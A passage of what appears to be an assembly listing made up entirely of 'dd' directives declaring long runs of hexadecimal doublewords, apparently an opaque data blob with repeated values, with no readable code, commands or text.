0CDE2816Fh, 670269DDh, 81497BDAh dd 419DD926h, 0FD531F8h, 8039F0D1h, 96B3D157h, 2635604Eh dd 4BBEF57Bh, 715CD5h, 0E0C41816h, 9168983Ah, 62A484B7h dd 0C90270F3h, 0F0ACF620h, 0DEE7B789h, 3BFF59C7h, 35F28FEh dd 7267904Bh, 0DE84A564h, 63D4630h, 8BCD012Dh, 3946B7BCh dd 9A49083Ah, 42578ADBh, 2409F9B1h, 0FC768001h, 26C9F019h dd 0A1E84884h, 0A98D2A81h, 0ECBCE43Ch, 0A4F8B478h, 0EE320C82h dd 0F7507EFFh, 1942B7A6h, 0D4B8088Dh, 2F4D5832h, 550853B6h dd 0E1D2E375h, 3EA1337Dh, 0AD7E78F8h, 278ABA72h, 0E0356C10h dd 0D2280CF1h, 0C6C67664h, 0E15B5D8h, 15467856h, 47DBDB4h dd 0DC9F030Dh, 0BC5FE8B1h, 63761FAAh, 18034B03h, 4CE70548h dd 68C6538Fh, 0E591782Bh, 25725EDBh, 0F17BB68Eh, 0D9AB1B0Bh dd 0EF33EE71h, 5BFB7F5Fh, 3E811F68h, 0A7DEB583h, 194C6588h dd 1670E5BFh, 1FABF7FAh, 90F0A6BCh, 23B3DF04h, 0A8C3C3B4h dd 97A6D382h, 726DCAD4h, 0D11C95A3h, 0A38C9A95h, 8F045EABh dd 2C1F0F16h, 4164EAB8h, 34018F11h, 51756266h, 28D24B5h dd 0CA1C15CCh, 0F8FDB79Ch, 6C223B9Bh, 0B53EE207h, 53EB128Bh dd 2D933F66h, 0BF764373h, 0CCDE3A1Ch, 373900B7h, 76130597h dd 1BAEABCEh, 0FE2C2C5Eh, 0BBEF6667h, 0D20246A5h, 142B44ACh dd 81173EC8h, 7FC2A951h, 2EE0862Eh, 0D874050Bh, 0DEC83B92h dd 0BA208445h, 0F5F4948Fh, 915FA8FDh, 5FAA3E9Dh, 910BA77Bh dd 0EA244F2Eh, 8FCA3E38h, 9EBC71D2h, 0ABF617DEh, 0AF4C99D9h dd 41C92579h, 70EC646Bh, 25EFBD60h, 8AA27082h, 279BE969h dd 3B704551h, 0FBCB4A4Bh, 252A966Fh, 3FDFBFD6h, 0C0969DB2h dd 0D48CDC79h, 6F26ABB7h, 16C029Ah, 0BC8AA763h, 150D7A36h dd 0C4EAC0Fh, 0CD015F06h, 67CD064Bh, 0C0ED2E0Bh, 2041161Ch dd 0C40A37C7h, 79B160D2h, 0CE95F7EDh, 0FCBDD29Ah, 0AE09BCBh dd 3B6B80C1h, 5825D3A1h, 31BF8D50h, 0ADFB8435h, 0D2472658h dd 5CE9EC1Dh, 6A10226Ah, 0CE4D81B3h, 0EB60F0C2h, 0C25B62FFh dd 8E23728Ah, 6C223B9Bh, 0B53EE207h, 5F56A16Ch, 0C573C262h dd 2D6457C5h, 0AA3B69E5h, 7E8F9F74h, 60AE57Fh, 0CEB35C9Dh dd 52BF1A35h, 0CDAD6F56h, 89A7FBB2h, 0E6EEEC8h, 2C58CEEh dd 1770484Bh, 0CA9C7F9Eh, 7E93D12Ah, 0A36A145Eh, 0D55BF244h dd 8BB94EDAh, 0A56C6C76h, 0BF10DA48h, 1BC02CCEh, 45CABF1Ch dd 34ED5769h, 4EAD917Ah, 7EAAE4B2h, 1C7EE7A5h, 0F24794C3h dd 0A23D187Eh, 0CED6D8E4h, 6F584727h, 27C85E67h, 110BC439h dd 437DA091h, 0A40A80D6h, 853A61F6h, 0B8498A84h, 7131E982h dd 0F389C4E2h, 2EF11CC3h, 1F9E1D5Ch, 44D14E5Bh, 863AA0CBh dd 5D1BA5ACh, 3997362Ch, 0B4FF1627h, 97B49B0Dh, 1F1DD8BDh dd 0B3ACEDB3h, 6F2C7843h, 8B11297Ah, 0D16BB0B6h, 0D3FF3D48h dd 0BF31B3h, 0B927C300h, 0E5D0B697h, 21FD2475h, 9103AA10h dd 49314BF0h, 5193FE8Fh, 0BC540EB6h, 3A36C2CFh, 0C6855734h dd 6032DF02h, 7AE466Dh, 0A481F2D9h, 344BD5FCh, 8E148786h dd 4F64D8B8h, 8D42D8B4h, 7C403AD4h, 68B4B6B6h, 4162853Dh dd 0FF09DEB1h, 0C432DBD1h, 7AB75C21h, 0FE038535h, 0C9320229h dd 0B9F40C27h, 0F2FC4D9Dh, 1ED26572h, 0DF177748h, 2EB30988h dd 5657202Fh, 0E7EB7B83h, 0B02DE0D4h, 0A4283CD4h, 0AACEB96h dd 13CA24F8h, 8E3F91A1h, 0D1BDC2BCh, 0DAD191CFh, 352098F8h dd 0D20CA268h, 79F45169h, 0F50BCF66h, 31124114h, 68B4B6B6h dd 4162853Dh, 23850F3Fh, 648381AFh, 5A9EF1B6h, 9A97314Ch dd 9BB77956h, 0DA1D5C20h, 88421861h, 95D676BEh, 0BF31DE6Ch dd 6C596164h, 0EE12FEF5h, 96074EDFh, 0E4AD521Eh, 88F42396h dd 0C0A3611Ch, 0E6036AC7h, 6728EABAh, 0EC243BA6h, 0C4970908h dd 113E410Fh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 5C5AB97Fh dd 0B29482AFh, 0A43543AAh, 0D9C75DF9h, 55642969h, 0FB175DEh dd 48940AAEh, 5738AB5h, 303D26E1h, 706C33Eh, 9B4A44F7h dd 0E25CD246h, 0AD3DF3EEh, 0F3C0F15h, 0A4F14B52h, 9B6E3FDh dd 56271D2Fh, 0B95A315Ah, 0FADFEC9Bh, 1EC7ACA4h, 88E054AFh dd 915B6E55h, 0DBA88D3Bh, 7C3123DCh, 8513AA74h, 0A34DA79Fh dd 0E511C940h, 3684C6BEh, 1B5DBC10h, 72C3B11Fh, 6DF36A3Bh dd 954D7C48h, 86133FFh, 0B8F2F4C9h, 0C03F3923h, 2B2F468h dd 0EBA84E1Eh, 0E244B63Fh, 6B6ECDEDh, 2464C8DCh, 43DBB2D5h dd 35E5234Bh, 59C57843h, 0C67CCF11h, 4061F3C7h, 454890D1h dd 1D5645E4h, 0D6BC6389h, 0DC72B5CCh, 0EE5D2C5Dh, 7A12C788h dd 0B7B4C1E2h, 4C2075C8h, 566799F0h, 6F4E1D93h, 9658BC7Dh dd 4592EE24h, 718FDDDAh, 0DBDCD285h, 0B5B954ECh, 507D3817h dd 6DD3BFB3h, 17E3956Fh, 0F3DCF587h, 24CA348Ah, 0FB132055h dd 4BDAC6C7h, 67C80E8Ch, 35694631h, 45478625h, 0AB0F0322h dd 0E58AB0D6h, 1790DA6Fh, 3ABB44A2h, 39F5886h, 40FDE1C7h dd 0D20A46A2h, 744B7892h, 0DAD29296h, 9D7271EEh, 0FCAB47EEh dd 6739CFCAh, 0CD510F9Bh, 64D3AB51h, 0D7CCE825h, 0B8AF5C4Dh dd 6DF94FE3h, 202AAB99h, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 5C5AB97Fh, 0B29482AFh, 0A43543AAh, 0D9C75DF9h dd 55642969h, 0FB175DEh, 48940AAEh, 5738AB5h, 303D26E1h dd 706C33Eh, 9B4A44F7h, 0E25CD246h, 0AD3DF3EEh, 0F3C0F15h dd 0A4F14B52h, 9B6E3FDh, 56271D2Fh, 0B95A315Ah, 0FADFEC9Bh dd 1EC7ACA4h, 88E054AFh, 915B6E55h, 0DBA88D3Bh, 7C3123DCh dd 8513AA74h, 0A34DA79Fh, 0E511C940h, 3684C6BEh, 1B5DBC10h dd 72C3B11Fh, 6DF36A3Bh, 954D7C48h, 86133FFh, 0B8F2F4C9h dd 0C03F3923h, 2B2F468h dd 0D762967Fh, 8A3AE95h, 0D4A28831h, 0B937706h, 0F9FDE4A7h dd 823626FBh, 0DE43219Eh, 687EF22Ah, 3B8DE3DEh, 2E271DFCh dd 5D7D6697h, 44C9DCCAh, 0D35FA090h, 95D20D21h, 0FD4985E9h dd 3047D62Bh, 91C948A3h, 0ADC868Eh, 2EB1E068h, 294AD228h dd 3F487251h, 0AF7798Fh, 7A54316h, 57E589A1h, 0A9DE8EDAh dd 0A6D9053Dh, 45B43235h, 9478C26Bh, 7577876Eh, 8865C36Bh dd 0CBA12F51h, 338FF4ADh, 14F051FFh, 0D9E3AAEDh, 66D88B16h dd 5FF2AF97h, 0C3716045h, 70798C6Ch, 93C9A2D8h, 9C997984h dd 87F4DFEBh, 864A52FBh, 39E806C7h, 9ECDB32Fh, 44A7E2F0h dd 0CAFBE230h, 6657CD69h, 7B3EE73Dh, 200C2629h, 0FA740352h dd 0D0860464h, 70855F93h, 0BF15914Ah, 0FDA9269Ch, 0C22A258Ch dd 57BBAEB1h, 0DDB5749Bh, 0D123907Ah, 0EDF5123Bh, 0E4126BF3h dd 0C43D84BAh, 130F1D2Bh, 45376BB7h, 0F80CDD51h, 0FB3AE0B8h dd 68B466Dh, 3ABAC873h, 70EE08CAh, 66D00300h, 0DF5DBD3Eh dd 0CABDD542h, 24B22DD6h, 73B0E4F5h, 902110A6h, 91027FF1h dd 2EE0BECh, 0A800EADBh, 2D14B76Fh, 942C5DAEh, 98477E8Dh dd 6F701E5Bh, 13CA8A99h, 0E9ADC5AAh, 2AEB46CAh, 33DAFF74h dd 970B68F4h, 0B51E201Fh, 0CBFC0E31h, 0E11FCBA2h, 5329EB64h dd 0F21784D6h, 0A7422B4Ah, 0B8EAB404h, 0D41F5E88h, 6D8B2EC8h dd 457D5125h, 43CAD358h, 0B24A3F9h, 0F2E147C9h, 0BD346D67h dd 6CA8A7AAh, 0C210C44h, 0AF773548h, 11EC21B2h, 4E6C3E6Bh dd 75356106h, 3559E59Ch, 0B1E70F6Dh, 0A6743A3Fh, 8ADC06CDh dd 9FE14463h, 7DD13721h, 5FD80196h, 67439D50h, 401E92Bh dd 281C6AFh, 4AE085E5h, 3C6A4834h, 250B3202h, 0AE917593h dd 0E70E2689h, 3A9440Fh, 0AE7D3AF5h, 15E09B27h, 0AF773548h dd 11EC21B2h, 0DE313C57h, 0B9B9678h, 9C742088h, 0BFF4EC55h dd 0A1485FA9h, 4D58E91h, 0FCC08E3h, 1E01CEB6h, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 9BAEB7EFh, 18E27F32h, 168049D3h, 4A600869h dd 0C19D0470h, 0C8993CEEh, 0C569234Fh, 1CCF9092h, 3EC4A978h dd 0C7475E16h, 924A3878h, 0D5F8BC93h, 0E2C35D90h, 0DD3ABB47h dd 63C6F1B2h, 4B51E58Dh, 7271B11Ah, 92FA0B1Bh, 0CFFC5032h dd 0E686BEB0h, 99CC7341h, 96A01DB1h, 9B9BB438h, 0B300E515h dd 0F107EE7Eh, 4DA0AC53h, 0DFAF6FB5h, 23F99E44h, 80EC4AEh dd 0B9394AA5h, 2D8ED99Ah, 0E4A0894Ah, 0A4F68666h, 0C8B844ECh dd 0F2762CFAh, 27B6E0BAh, 2499779h, 35C9BA0Dh, 0BC48BD28h dd 1C151332h, 0E3CDE38Ch, 0CF17E0A3h, 8F843519h, 0D592AC87h dd 760C8EC1h, 0BA2B99C6h, 0EEACBCC6h, 0B61DCFFBh, 0F4C8FB1Dh dd 0C741E47Dh, 12806B1Eh, 0D968F2ABh, 51C9A68h, 55CAA0ECh dd 0F4C8FB1Dh, 0C741E47Dh, 0D142217h, 3D6D796Bh, 0FFDBAC99h dd 630F7D5Eh, 0E2F10DC6h, 680506A4h, 172A5BF3h, 54E1A787h dd 9BE48E85h, 8529559Ch, 4E88EE80h, 5A629BC6h, 45607C0h dd 47702499h, 773BF82Eh, 77B18832h, 0B608BF7Ch, 8660C32Fh dd 2499779h, 35C9BA0Dh, 0A78E7DB4h, 0CAEC85EBh, 0E95E1756h dd 0CC411EE8h, 0F0D169B5h, 0E5708FA9h, 0CE2D1D3Eh, 0BCA71B52h dd 0A0330463h, 85FB410h, 97F12B87h, 22FB59A1h, 281F55CFh dd 96BE60FBh, 0B1657B08h, 3896516h, 64A27F80h, 0B95362F3h dd 98C65995h, 892182C5h, 2010EDF1h, 80672031h, 6EBFA6A1h dd 24EFEB98h, 0ECA6ED37h, 24D16341h, 87B2618h, 9197D7CDh dd 9309DCh, 72085C09h, 376E6723h, 2E32D1Ch, 0F8A6D40Bh dd 6B4B5068h, 0F1D6AF54h, 20C1B0CCh, 7A37161Eh, 41568AE9h dd 5B285DB2h, 426D4B50h, 45347D5Eh, 57C2ABEEh, 4C117B59h dd 21334E35h, 0A828F246h, 40E228F4h, 859D2CEEh, 0D82902B9h dd 0CBE9E4Dh, 0B95C1B45h, 0B905F6A1h, 0FF8E274h, 0D07EA151h dd 4972A9BCh, 0CE0D9935h, 65C74B8Ch, 6F3A69A7h, 60773ADh dd 26499915h, 2A44714h, 233544D4h, 0D3610641h, 65E3E22Bh dd 461046D1h, 29C98E0Eh, 0D6C6C3BDh, 4396004h, 8EFC19D3h dd 558E42D8h, 2193AAFCh, 4D029940h, 24590BA0h, 0AF34FB45h dd 8E07B0F7h, 66D8CB28h, 21E12BFBh, 732FF153h, 90162E2Ah dd 98786E98h, 55282A1Dh, 0F196A220h, 5E8DA2C2h, 3D5B0B24h dd 4F3C8532h, 38807BE2h, 3063E4B0h, 0E8BF6E23h, 0D785DAD4h dd 54665104h, 183AD2E3h, 411C3A0Ah, 1B550F2Ah, 55637A91h dd 0D3BA7424h, 7CD30D20h, 0A15295D5h, 8A945BC5h, 10FC5C06h dd 699D3642h, 0B40F9897h, 0F983AFE9h, 7EFE2170h, 55B73474h dd 69D28008h, 71DE752Dh, 5AAA31FDh, 276A6DFAh, 2D71BA2Ah dd 749461B3h, 506588D2h, 0D3AAE7CCh, 85F93BC3h, 6BE30272h dd 500F7BECh, 0E67B83A7h, 9C9E5D9Ah, 7B1AE9C2h, 896F0B7Ch dd 0BD43741h, 62B0A6A9h, 0CD7AD8B2h, 0CC9764CBh, 0EC11DBD4h dd 959A784Ch, 69C54483h, 0A0F56756h, 33F5E649h, 3D301681h dd 0C0F33036h, 0E82ECD45h, 58C35F67h, 0D6B4D13Fh, 9F6946FFh dd 21E78C5Eh, 171167BBh, 3424E968h, 5B8AD58Ah, 76122FE4h dd 8FDEB439h, 9892398Bh, 0F4E33F99h, 0C75EB7F6h, 0C67715F0h dd 89641CB3h, 0F6508282h, 63D20CF5h, 2D9CADEEh, 91FE5E96h dd 0D47479ADh, 0F5896869h, 1FEBCECh, 52C69F95h, 0E9B88837h dd 33D53DB7h, 0BFDB3CA8h, 60499535h, 0CEC88BAAh, 5692092h dd 5A3438F5h, 493C993Bh, 0EE4880CBh, 0B8327091h, 0E97E19B4h dd 98F14758h, 0CDAE39B8h, 98D37C54h, 0F69AC3FAh, 0CB66DBCEh dd 4904701Ah, 7B75D131h, 1F95113Fh, 0E48AD143h, 0FD3C5BD6h dd 0F04B7DE4h, 91589C76h, 0F7B46C8Ah, 39B5ED3Eh, 0FF9F706Fh dd 148D50E9h, 0B60D1DFAh dd 1BFF9A40h, 93E2FA5Ah, 10A5305h, 2D871E30h, 78B4157Fh dd 7AFC18EDh, 0D3801B6Fh, 0C9A03FF1h, 1B69AC19h, 5D216AB3h dd 0E1E256F8h, 0D5EA92Ah, 0D7AA0E1Bh, 15753E5Dh, 4213CF67h dd 264F7124h, 0BF3FC63Bh, 0E80E229Dh, 388D8ADCh, 6C309C47h dd 6A0C3E8Eh, 4456BCCCh, 197C0630h, 0BBBF5107h, 1F0B601Fh dd 0CBB99025h, 0BF6FABB4h, 635BBC94h, 0F6508282h, 63D20CF5h dd 0D60526FFh, 0F99420B2h, 2826FE5Eh, 8576560Bh, 0F89DE8AFh dd 6FCF6159h, 38807BE2h, 3063E4B0h, 0FE8F4FF6h, 498ECD92h dd 0DB94698Eh, 26E0EBDAh, 75902393h, 0CCB0DA93h, 0C22D787Ah dd 0FC939804h, 699D3642h, 0B40F9897h, 0EB81D889h, 651D7C72h dd 82491F6Ah, 0E56B394Ch, 657A8D9Fh, 23514FAEh, 19D9C1A3h dd 218D332Eh, 87295538h, 0FFA68312h, 24211Ch, 0DCE9DF4Eh dd 0EF6B8ED5h, 0D74B6046h, 0FAC5AAA4h, 0A2E32F2h, 10431FFDh dd 0E41DFAE6h, 10A5305h, 2D871E30h, 6A035340h, 55B9AD99h dd 0D3801B6Fh, 0C9A03FF1h, 97B836D7h, 0DAB0676Eh, 0E1E256F8h dd 0D5EA92Ah, 0D7AA0E1Bh, 15753E5Dh, 4213CF67h, 264F7124h dd 0BF3FC63Bh, 0E80E229Dh, 388D8ADCh, 6C309C47h, 6A0C3E8Eh dd 4456BCCCh, 197C0630h, 0BBBF5107h, 1F0B601Fh, 0CBB99025h dd 0BF6FABB4h, 635BBC94h, 0F6508282h, 63D20CF5h, 2D9CADEEh dd 91FE5E96h, 3F32705Ch, 7696F17Ah, 3D5B0B24h, 4F3C8532h dd 38807BE2h, 3063E4B0h, 7EA53E3Ch, 0B56C02ADh, 8DA09857h dd 335BD7DBh, 7CD30D20h, 0A15295D5h, 8A945BC5h, 10FC5C06h dd 699D3642h, 0B40F9897h, 0C7E5FADAh, 60ECD124h, 0F13798C8h dd 6A5BBEEBh, 3FC1557Fh, 0F811B513h, 0DB83AAFEh, 0EE9F50DFh dd 87295538h, 0FFA68312h, 45F58D96h, 0F4F5FB3Eh, 42C45CA7h dd 8FD0B2A8h, 7DBA24E0h, 18E71A33h, 0A6F8FED8h, 820B3D0Bh dd 10A5305h, 2D871E30h, 78B4157Fh, 7AFC18EDh, 0D3801B6Fh dd 0C9A03FF1h, 97B836D7h, 0DAB0676Eh, 0E1E256F8h, 0D5EA92Ah dd 0D7AA0E1Bh, 15753E5Dh, 4213CF67h, 264F7124h, 0BF3FC63Bh dd 0E80E229Dh, 388D8ADCh, 6C309C47h, 6A0C3E8Eh, 4456BCCCh dd 197C0630h, 0BBBF5107h, 1F0B601Fh, 0CBB99025h, 0BF6FABB4h dd 635BBC94h, 0F6508282h, 63D20CF5h, 2D9CADEEh, 91FE5E96h dd 3F32705Ch, 7696F17Ah, 9D537AFh, 0A540BB00h, 0AA4B9895h dd 0FD483753h, 0D27B7602h, 11354A8Ch, 0C5417184h, 0B1F277C6h dd 0FC75BF79h, 919FA174h, 0E8A5D8A6h, 7006972Fh, 9603BCDBh dd 78091726h, 69C09F26h, 248E35AAh, 0F59C0EB6h, 9F1E34ADh dd 0DDF9F688h, 0A1C2CB7h, 0BEED1994h, 0B01688F6h, 53AFF942h dd 6B33BBB3h, 0F6752D02h, 8A355DE2h, 8E8F1714h, 83201E1h dd 18A7AC9Ch, 9B4E4AD0h, 3965D936h, 425ADC73h, 216D5085h dd 51F43E81h, 363CBFBBh, 47170056h, 7CF0519Dh, 0CE1D4E7Fh dd 8A4410D4h, 0D7429340h, 4161A54Fh, 345E1A19h, 8EA5FC09h dd 9192350h, 70461998h, 0A13C631Bh, 37BA794Eh, 0D7874C82h dd 0C2D69D5Fh, 3C76D6F6h, 0AA6040B4h, 1EF8926Fh, 8B897097h dd 59B6E253h, 0C36D261h, 367E82A0h, 3BFCE79Ch, 452C7A49h dd 22C3B0CEh, 7122F189h, 0AA4559FFh, 6A4AE1B1h, 4811EA42h dd 10D6DCBAh, 9F81B6C0h, 0B53DB4BBh, 8B981433h, 92951379h dd 85E86E25h, 0E14288CBh, 4E7F79CEh, 0EF0FE41h, 1E3C58AEh dd 0E9EB868Dh, 0EA1E5E6Fh, 0FF073E87h, 9940B516h, 0CE50836Eh dd 3D5816B5h, 0BC9087E2h, 99DE3565h, 0ED6CE54h, 17ED8291h dd 0D6127EB2h, 97F20A03h, 90537612h, 0A79074ECh, 0D1ED0DB3h dd 2192ECB3h, 40058F81h, 0E5A41D85h, 86FE34A4h, 0D0736ADCh dd 0A84A8777h, 5BABE427h, 0FE5678A7h, 9D497F64h, 1E45D6F6h dd 8A5D0984h, 17A0CF74h, 988AEC9Eh, 0A6FE45FBh, 0CB0C7B19h dd 5EAD6B40h, 0FF663A13h, 389FE3B9h, 968F8806h, 422C38EAh dd 869EFD1Eh, 872F0D2Fh, 0AA80F3E9h, 0A2F438E4h, 3D45C54h dd 4E62B04h, 3B9D20B7h, 0E3918E15h, 7D704D09h, 7726FEAh dd 0E59697BAh, 7B10DE05h, 0FB9AA4DFh, 0A2A0595Fh, 381F47Ah dd 2CE7A644h, 2C203812h, 0ECD21EE9h, 0E0F9E46Ah, 0D3B4BD8Dh dd 0A9E1F955h, 533F91BEh, 0E6687F09h, 701AFF92h, 814A66Bh dd 874439FFh, 0A8513D9Dh, 41ACBFCAh, 19C1B170h, 5DD0AEBBh dd 6264AC51h, 1DC6ED12h, 7D7D5706h, 0B687C73Dh, 98FF14Eh dd 0F3E5FB4Ch, 0C94FE29Bh, 21EF9EB5h, 0EC1C31FCh, 0D7C352D2h dd 526BF5F9h, 94AB9FF9h, 9176D1B3h, 403DD5Fh, 0FA98D2B9h dd 0E224007Bh, 5122117Ch, 401BFD6Dh, 0C914A78Eh, 9FCC92A9h dd 2792DE3Ah, 0EDAAA153h, 0CCC03E1Bh, 0F892E02h, 5CB27DBEh dd 0F4C14272h, 0C4CF89A3h, 8A194762h, 7F604B17h, 85053287h dd 898ADDFCh, 782AA395h, 0D602C10Fh, 9C52AB2Fh, 0D214668Fh dd 893E36B4h, 80FB13FEh, 1837309Eh, 5BEBE279h, 223CC663h dd 0A8F8EDF4h, 67CAB6A6h, 825E7453h, 0DA9D6CF6h, 5AC746Fh dd 0E0551141h, 55743427h, 0DECF0351h, 9C603A49h, 0A739CB12h dd 0D3E8F44Fh, 0BEF1342Fh, 0E7BA91A1h, 11230C96h, 1CA55A22h dd 177FE90Eh, 6C1654FEh, 0FD6A328Ch, 59A8CFD4h, 1F27B0B6h dd 0E96F861Ch, 8E89F602h, 0D3A1217Eh, 0C123C2E9h, 0D294AEDAh dd 9B0ABB61h, 0D1B65C30h, 9F3FA886h, 753A160h, 0E95734D5h dd 0EAEDD14Bh, 7852BF62h, 9B5C1EA9h, 93627825h, 0E22A4B1Bh dd 4CD7A849h, 65919827h, 17B7763Fh, 70B51849h, 25D7D899h dd 6A44DC3Fh, 0B2BD323Ah, 0CEA10D63h, 0B2D79FBAh, 0D50E6E09h dd 9D765FBBh, 0A9F3969Ah, 0E56AA762h, 3EA606FFh, 0CF283BB0h dd 5EAFD473h, 0FEB48312h, 93157FBBh, 6F30E859h, 0C8082A3Bh dd 9A3FE008h, 78111h, 9A4B2090h, 90314EF1h, 39D8063Dh dd 1FBB5F6h, 0FE9849E1h, 0D9BF49CAh, 0F41ED3A4h, 52349D58h dd 2BEB6B6Dh, 0F619C05Bh, 0DCDD228Ah, 8A94CCE5h, 915F0838h dd 0FE71C811h, 608AB73h, 5F553108h, 0D77EFF69h, 0D3899259h dd 82804B2Dh, 0D0F6BD70h, 1C292AB1h, 0FD1A1505h, 79687FBBh dd 14ED2BE5h, 53A545C0h, 935E0F30h, 49D3DF9Ah, 0F698CA8Eh dd 466AD6E6h, 0E42207C3h, 545E1609h, 6C1B82C3h, 523A35Dh dd 7D5F1DAAh, 96F0280Dh, 6650962Dh, 175A95ADh, 9C661112h dd 0A1C6BB23h, 13A64153h, 0F80AD292h, 1058887Fh, 1B98D72Ch dd 618B787Dh, 0E4C43014h, 0EDF24ED3h, 25D33FCEh, 6695AE66h dd 2E810578h, 3EF5A3C2h, 0A68F4CAAh, 0CCBF163Eh, 0FA16F66Eh dd 1240E574h, 0CF49F9C7h, 57610D5Dh, 0C6104A26h, 29F4D980h dd 7F28F959h, 8861D88Ch, 0B4AFB74Dh, 0B0D3458Ch, 0D0192FEFh dd 0D8F05CA7h, 5C202569h, 25CF02D1h, 0AA71D330h, 9EF358D9h dd 0D5D8C8C7h, 358C9E1Eh, 59AA2361h, 699CD804h, 6D212E18h dd 0C806EA05h, 0B9B4F4FFh, 83900D0Bh, 0E00538B3h, 0DC0AB085h dd 517E45F5h, 0A122D4CBh, 934854D3h, 87C97B95h, 6652885Fh dd 193CC930h, 0D9C5B0A1h, 69529C1Ch, 1235DA6Bh, 7C4488E3h dd 0A71A2DACh, 89878714h, 10E3C442h, 70A15B9Fh, 0A10DB19Ah dd 6647BD84h, 0F0E7D7ECh, 7E732350h, 262EDEF6h, 823EED6Eh dd 7B03C5ACh, 750B1B5h, 0C818BC39h, 7269EE7Bh, 4C499C75h dd 0CA31E113h, 0DE9C4EDCh, 2F2EF25Ah, 472CC77h, 2B772D7Dh dd 0FB18DD7Dh, 6291DA92h, 0A97D6A82h, 0DC8A51AFh, 2684E6E7h dd 9F9380E0h, 6CDAB549h dd 21056636h, 52B57DE1h, 0C2FEFEBBh, 7D69D750h, 16FCEF03h dd 4CD87EBh, 1FED462Ah, 2AD5C583h, 0C65FD4B6h, 1171C841h dd 9F38E0C5h, 0C2DE700Bh, 318EF01Ch, 9D04260h, 15449803h dd 4F9694A9h, 66805F6h, 960BE42Fh, 0BAE0329Ah, 0BE8BFB6h dd 19BE8EA9h, 122842C1h, 0A79659A4h, 7A5E9AFDh, 6A932BFh dd 529E2E8Eh, 0CB391FABh, 0F741A607h, 0D9B931F2h, 0BEFD0167h dd 0B6FA32B7h, 77E796E1h, 0C96ACD78h, 7087605Bh, 5D139E76h dd 0B37CA1BFh, 0E0F7B7F8h, 5AA6B4CAh, 0FAF2B0A8h, 73138321h dd 977D3630h, 0E8E56B61h, 305D67D1h, 8193C671h, 39B2741Eh dd 0E4BAEF7Eh, 1AC43E83h, 4FFBDEBh, 0C061A14h, 0FF832621h dd 4D5C47C8h, 0C2F664C8h, 3F10E14Fh, 605FDD83h, 77324FC2h dd 0C11D9082h, 0DF369692h, 18E6AD2Eh, 0C6507E67h, 